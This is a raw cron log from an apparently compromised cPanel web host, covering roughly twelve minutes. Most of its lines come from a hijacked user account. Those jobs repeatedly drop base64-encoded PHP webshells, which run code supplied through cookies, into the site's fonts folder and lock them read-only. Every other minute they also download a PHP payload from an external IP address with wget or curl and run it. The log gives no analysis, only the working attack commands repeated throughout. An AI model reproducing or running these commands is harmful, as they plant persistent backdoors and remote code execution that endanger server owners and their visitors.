Sep  7 15:41:01 ip-184-168-122-23 CROND[20385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:41:01 ip-184-168-122-23 CROND[20384]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:41:01 ip-184-168-122-23 CROND[20387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:42:01 ip-184-168-122-23 CROND[20780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:42:01 ip-184-168-122-23 CROND[20781]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 15:42:01 ip-184-168-122-23 CROND[20782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:42:01 ip-184-168-122-23 CROND[20783]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:42:01 ip-184-168-122-23 CROND[20785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:43:01 ip-184-168-122-23 CROND[20877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:43:01 ip-184-168-122-23 CROND[20878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:43:01 ip-184-168-122-23 CROND[20879]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:43:01 ip-184-168-122-23 CROND[20876]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:44:01 ip-184-168-122-23 CROND[20972]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:44:01 ip-184-168-122-23 CROND[20973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:44:01 ip-184-168-122-23 CROND[20975]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 15:44:01 ip-184-168-122-23 CROND[20977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:44:01 ip-184-168-122-23 CROND[20976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:45:01 ip-184-168-122-23 CROND[21153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:45:01 ip-184-168-122-23 CROND[21154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:45:01 ip-184-168-122-23 CROND[21160]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 15:45:01 ip-184-168-122-23 CROND[21158]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 15:45:01 ip-184-168-122-23 CROND[21161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:45:01 ip-184-168-122-23 CROND[21159]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:46:01 ip-184-168-122-23 CROND[21281]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:46:01 ip-184-168-122-23 CROND[21284]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 15:46:01 ip-184-168-122-23 CROND[21287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:46:01 ip-184-168-122-23 CROND[21286]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:46:01 ip-184-168-122-23 CROND[21288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:46:01 ip-184-168-122-23 CROND[21283]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 15:46:01 ip-184-168-122-23 CROND[21285]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 15:47:01 ip-184-168-122-23 CROND[21437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:47:01 ip-184-168-122-23 CROND[21438]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:47:01 ip-184-168-122-23 CROND[21436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:47:01 ip-184-168-122-23 CROND[21439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:48:01 ip-184-168-122-23 CROND[21547]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:48:01 ip-184-168-122-23 CROND[21551]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 15:48:01 ip-184-168-122-23 CROND[21550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:48:01 ip-184-168-122-23 CROND[21549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:48:01 ip-184-168-122-23 CROND[21552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:49:01 ip-184-168-122-23 CROND[21670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:49:01 ip-184-168-122-23 CROND[21668]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:49:01 ip-184-168-122-23 CROND[21669]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:49:01 ip-184-168-122-23 CROND[21671]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:50:01 ip-184-168-122-23 CROND[21763]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 15:50:01 ip-184-168-122-23 CROND[21767]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 15:50:01 ip-184-168-122-23 CROND[21766]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 15:50:01 ip-184-168-122-23 CROND[21770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:50:01 ip-184-168-122-23 CROND[21765]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 15:50:01 ip-184-168-122-23 CROND[21768]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:50:01 ip-184-168-122-23 CROND[21769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:50:01 ip-184-168-122-23 CROND[21771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:50:01 ip-184-168-122-23 CROND[21772]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 15:51:02 ip-184-168-122-23 CROND[21965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:51:02 ip-184-168-122-23 CROND[21967]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:51:02 ip-184-168-122-23 CROND[21964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:51:02 ip-184-168-122-23 CROND[21966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:52:01 ip-184-168-122-23 CROND[22253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:52:01 ip-184-168-122-23 CROND[22251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:52:01 ip-184-168-122-23 CROND[22254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:52:01 ip-184-168-122-23 CROND[22255]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 15:52:01 ip-184-168-122-23 CROND[22256]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:53:01 ip-184-168-122-23 CROND[23039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:53:01 ip-184-168-122-23 CROND[23037]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
